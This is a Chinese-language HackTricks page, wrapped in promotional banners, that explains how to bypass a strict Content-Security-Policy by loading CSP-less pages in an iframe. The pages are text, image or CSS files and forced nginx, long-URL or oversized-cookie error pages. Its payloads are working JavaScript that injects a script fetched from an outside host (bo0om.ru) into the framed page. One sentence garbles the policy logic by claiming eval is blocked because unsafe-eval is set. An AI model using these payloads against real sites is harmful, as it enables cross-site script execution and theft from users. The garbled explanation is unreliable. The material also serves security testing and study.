5.1 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入 💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm.
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。
一个如下的配置:
Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’;
禁止使用将代码作为字符串传输并执行的任何函数。例如:eval, setTimeout, setInterval
,由于设置了unsafe-eval
,所有这些函数都将被阻止。
任何来自外部源的内容也会被阻止,包括图像、CSS、WebSockets,尤其是JS。
通过文本和图像
现代浏览器将图像和文本转换为HTML文件以更好地可视化它们(设置背景、居中等)。
因此,如果你使用一个iframe
打开一个图像或文本文件,比如favicon.ico
或robots.txt
,你将以HTML形式打开它。
这些页面通常没有CSP头,并且可能没有X-Frame-Options,因此你可以从中执行任意JS代码:
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
通过错误
与文本文件或图像一样,错误响应通常没有CSP头,并且可能没有X-Frame-Options。因此,您可以强制发生错误并将其加载到iframe中:
// Force nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Force error via long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Force error via long cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Don't forget to remove them
for(var i=0;i<5;i++){document.cookie=i+"="}
// After any of the previous examples, you can execute JS in the iframe with something like:
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
参考资料
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?想要在 HackTricks 中宣传你的公司吗?或者你想要获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks吗?请查看订阅计划!
-
发现我们的独家 NFT 收藏品The PEASS Family
-
加入💬 Discord 群组 或 Telegram 群组,或者关注我在Twitter上的🐦@carlospolopm。
-
通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。